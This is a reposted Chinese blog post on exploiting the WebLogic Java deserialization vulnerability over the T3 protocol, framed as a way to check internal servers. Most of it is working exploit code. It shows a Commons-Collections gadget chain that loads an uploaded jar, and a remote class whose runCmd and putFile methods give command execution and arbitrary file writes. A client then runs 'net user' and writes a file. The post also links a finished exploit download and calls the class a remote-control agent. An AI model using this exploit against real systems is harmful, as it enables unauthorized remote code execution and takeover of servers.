文档章节

Java反序列化漏洞之weblogic本地利用实现篇

xiaoxin
 xiaoxin
发布于 2016/05/23 22:32
字数 1794
阅读 66
收藏 0

0×00前言

weblogic在国内的的应用范围比较广,支撑着很多企业的核心业务,所以一直没有把weblogic的利用工具发布出来。但是最近很多甲方的朋友问我有没有方便的工具检测他们公司部署在内网的weblogic,其实这个漏洞公布了这么久,维护人员也都意识到了这个漏洞的危害性,只是网上公开的检测方法易用性不是太好,检测起来比较麻烦,所以就有了这篇文章。

0×01 思路

因为weblogic会把异常直接打印到服务器端的控制台上,所以在jboss中通过异常封装回显的方法在weblogic上并不适用(参考另一篇文章:Java反序列化漏洞执行命令回显实现及Exploit下载)。但是weblogic有更方便的方法,weblogic是通过T3协议来传输序列化的类,那我们就可以通过T3协议来实现exploit和server的通信,因为weblogic的T3协议和WEB协议共用同一个端口,所以只要能访问weblogic,就可以利用,不需要加载远程类,因此对服务器能否连外网没有要求。关于T3协议的详细介绍,此次不再赘述,如果读者对此不熟悉也没关系,只要知道T3协议允许客户端远程调用服务端的类就可以了。所以我们整理一下思路:

(1) 首先我们在本地创建一个可以供我们远程调用的类并编译。
(2)把编译好的类上传至服务器。
(3)在远程服务器上注册并绑定我们上传的类。
(4)本地远程调用我们的类,执行我们想要执行的指令。
(5)执行完毕,反注册远程类。
(6)删除类文件。

0×02实现

(1)创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:

接口:

public interface InitApp extends java.rmi.Remote {
      String runCmd(String cmd) ;
  String putFile(String Content,String Path);
}

实现类:

public class InitAppImpl implements InitApp{   
  private String name;
  public InitAppImpl(String s) throws RemoteException {
    super();
    name = s;
  }
  /**
   * Returns a string.
   *
   * @return results of cmd
   *
   */
  public String runCmd(String cmd)  {
      try
      {
      Process proc = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
        sb.append(line).append("\n");
        }
        return sb.toString();
      }
      catch(Exception e)
      {
          return e.getMessage();
      }
  }
  public String putFile(String Content,String Path) {
      try
      {
          FileOutputStream fo=new FileOutputStream(Path);
          fo.write(Content.getBytes());
          fo.close();
          File f=new File(Path);
          if (f.exists())
          {
              return Path+"上传成功!已验证存在。";
          }
          else
          {
              return Path+"上传成功!";
          }
          
      }
      catch(Exception e)
      {
          return e.getMessage();
      }
     
    
  }
 
  public static void main(String args[]) throws Exception {        
    try {
      InitAppImpl obj = new InitAppImpl("RemoteClass");
      Context ctx = new InitialContext();
      ctx.bind("RemoteClass", obj);   
    }
    catch (Exception e) {
      System.err.println("RemoteClass: an exception occurred:");
      System.err.println(e.getMessage());
      throw e;
    }
  }
}

(2) 编译并上传:

把前一步编译好的文件打包成jar,为了保证老版本weblogic的通用型,最好用比较老版本的jdk来编译。编译之后,以字节数组的形式放进payload,上传至服务器端。

(3) 在远程服务器上注册并绑定我们上传的类。

上传之后,通过发送执行注册绑定功能的payload,绑定我们上传的远程类,即执行我们远程类的main方法即可。payload代码如下:

public class GenInstallPayload {
 
     public static byte[] Gen(String OS) throws Exception
     {
         String Path="file:/c:/windows/temp/test.jar";
         if (!OS.equals("Windows"))
         {
            Path="file:/tmp/test.jar ";
         }
         final Transformer[] transforms = new Transformer[] {
         new ConstantTransformer(java.net.URLClassLoader.class),
         // getConstructor class.class classname
         new InvokerTransformer("getConstructor",
         new Class[] { Class[].class },
         new Object[] { new Class[] { java.net.URL[].class } }),
         new InvokerTransformer(
         "newInstance",
         new Class[] { Object[].class },
         new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
         Path) } } }),
         new InvokerTransformer("loadClass",
         new Class[] { String.class }, new Object[] { "weblogic.jndi.internal.InitAppImpl" }),
         // set the target reverse ip and port
         new InvokerTransformer("getMethod", new Class[] {
                 String.class, Class[].class }, new Object[] {
                 "main", new Class[]{String[].class} }),
         // invoke
         new InvokerTransformer("invoke",new Class[] {
                 Object.class, Object[].class }, new Object[] {
                 null, new Object[]{new String[]{"just for test"}} }) };
         Transformer transformerChain = new ChainedTransformer(transforms);
         Map innermap = new HashMap();
         innermap.put("value", "value");
         Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
         Class cls = Class
         .forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Retention.class, outmap);
         ByteArrayOutputStream bo=new ByteArrayOutputStream(10);
         ObjectOutputStream out = new ObjectOutputStream(bo);
            out.writeObject(instance);
            out.flush();
            out.close();
            return bo.toByteArray();
     }
}

(4) 本地远程调用我们的类,执行我们想要执行的指令:

既然我们的远程类已经上传,并在对方服务器上注册,下面我们就可以通过weblogic的T3协议来调用了,当然利用的是weblogic的web服务端口,废话不多说,给出本地调用类代码如下:

public class HelloClient
{
  // Defines the JNDI context factory.
  public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
  int port;
  String host;
  
  private static void usage() {
    System.err.println("Usage: java HelloClient <hostname> <port number>");
  } 
  
  public HelloClient() {}
  
  public static void main(String[] argv) throws Exception {
    if (argv.length < 2) {
      usage();
      return;
    }
    String host = argv[0];
    int port = 0;
    try {
      port = Integer.parseInt(argv[1]);
    }
    catch (NumberFormatException nfe) {
      usage();
      throw nfe;
    }
    try {
      InitialContext ic = getInitialContext("t3://" + host + ":" + port);
      InitApp obj = (InitApp) ic.lookup("RemoteClass ");
      System.out.println("Successfully connected to HelloServer on " +
                         host + " at port " +
                         port);
String CmdResult= obj.runCmd("net user");
 System.out.println (CmdResult) ;
String UploadResult= obj.putFile("just for test", "c:/test.txt");
     System.out.println(UploadResult);
    }
    catch (Exception ex) {
      System.err.println("An exception occurred: "+ex.getMessage());
      throw ex;
    }
  }
 
  public static InitialContext getInitialContext(String url)
    throws NamingException
  {
    Hashtable<String,String> env = new Hashtable<String,String>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
    env.put(Context.PROVIDER_URL, url);
    return new InitialContext(env);
  } 
}

下面我们来测试一下,直接eclipse运行HelloClient类,RunConfigurations里面设置IP和端口参数,测试IP为我的虚拟机,端口7001,返回结果如下:

完美回显:)。

验证文件成功上传。

(5) 执行完毕,反注册远程类。

执行过程会产生正常生成过程不需要的一个类,检测完成后最好删掉,删除步骤和上面的注册步骤差不多,也需要上传一个远程类,只不过这个远程类要做的事情是反注册掉之前我们注册绑定的那个类。具体实现代码和第一步的一样,核心实现代码如下:

public static void main(String args[]) throws Exception {        
    try {
      InitAppImpl obj = new InitAppImpl("RemoteClass");
      Context ctx = new InitialContext();
      ctx.unbind("RemoteClass");     
    }
    catch (Exception e) {
      System.err.println("RemoteClass: an exception occurred:");
      System.err.println(e.getMessage());
      throw e;
    }
  }

(6) 删除类文件。

因为我们之前通过链式调用FileOutputStream来上传文件,并没有关闭文件句柄,不好删除,因为我们删除临时文件的目的是保护我们的代码,所以这里只要重新调用一次FileOutputStream的write方法写入一个空值,就可以了。当然也可以通过其他方法来彻底删除,因为毕竟我们可以执行任意代码,所以就可以做任何事情,当然不能越权:)。

0×03总结

通过这种方法,我们完全可以扩展远程类的功能,不仅仅只局限于回显和文本上传,比如二进制文件上传,因为这里远程类其实已经相当于一个远控的服务端(agent)了。也可以不局限于T3协议,利用其他可以远程调用的协议都是可以的,也可以不局限于weblogic,其他的web容器也可以,只不过有的容器默认的远程调用相关的端口不对外开放,应用起来会比较局限。好了,前面的代码都是一些demo,下面附上成品的exploit,没有进行任何加密混淆,。有兴趣的同学可以反编译直接看到完整源代码。因为附带了weblogic的包,所以体积比较大。

 

链接:http://share.weiyun.com/5506703d687a0e7cfee29e899b07ab05(密码:cNw4)

本文转载自:http://blog.csdn.net/qq_27446553/article/details/50393169

xiaoxin
粉丝 20
博文 263
码字总数 20339
作品 0
海淀
私信 提问
WebLogic反序列化漏洞(CVE-2018-2628)漫谈

  漏洞简介   2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情...

FreeBuf
2018/04/26
0
0
天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

  一、背景介绍   WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVA EE架构的中间件, WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用...

FreeBuf
2018/07/25
0
0
缝缝补补的WebLogic:绕过的艺术

  前言   目前Weblogic在全球的使用量占居前列,据统计,在全球范围内对互联网开放Weblogic服务的资产数量多达35382台,其中归属中国地区的资产数量为10562台。如果爆发一个Weblogic高危...

FreeBuf
2018/08/08
0
0
漏洞预警 WebLogic WLS核心组件反序列化漏洞(CVE-2018-2893)

  Oracle FusionMiddleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的...

FreeBuf
2018/07/18
0
0
从流量侧浅谈WebLogic远程代码执行漏洞(CVE-2018-3191)

最早发到了freebuf上,和团队成员一起完成的。没注明原创,freebuf小婊子就没给钱。 一、前言 在不久前Oracle官方发布的10月重要补丁更新公告(Oracle Critical Patch Update Advisory – Oc...

303Donatello
2018/11/20
0
0

没有更多内容

加载失败,请刷新页面

加载更多

从濒临解散到浴火重生,OceanBase 这十年经历了什么?

阿里妹导读:谈及国产自研数据库,就不得不提 OceanBase。与很多人想象不同的是,OceanBase 并非衔着金钥匙出生的宠儿。相反,它曾无人看好、困难重重,整个团队甚至数度濒临解散。 从危在旦...

阿里云云栖社区
27分钟前
2
0
比特币第三方API大全

在开发比特币应用时,除了使用自己搭建的节点,也可以利用第三方提供的比特币api,来获取市场行情、进行交易支付、查询账户余额等。这些第三方api不一定遵循标准的比特币rpc接口规范,但往往...

汇智网教程
39分钟前
1
0
Dozer:Dozer异常java.lang.ClassCastException

这个问题是个很难发现的问题,因为代码本身没有错误,但就是无法找到报错原因 现记录下这个报错 java.lang.ClassCastException:com.XXX.ObjectA cannot be cast to com.XXX.ObjectA 代码中并...

琴兽
今天
2
0
Feign Retryer的默认重试策略测试

1、Feign配置 @Configurationpublic class FeignConfig { @Value("${coupon_service.url:http://localhost:8081}") private String couponServiceUrl; @Bean publ......

moon888
今天
2
0
关于不同域名下的session共享问题

如果登录,首页,分类,列表,产品都在不同的二级域名下,主域名不变,一定要保证里面的版本问题,不能为了更新而更新,这样哪个下面的session都访问不了。

dragon_tech
今天
5
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部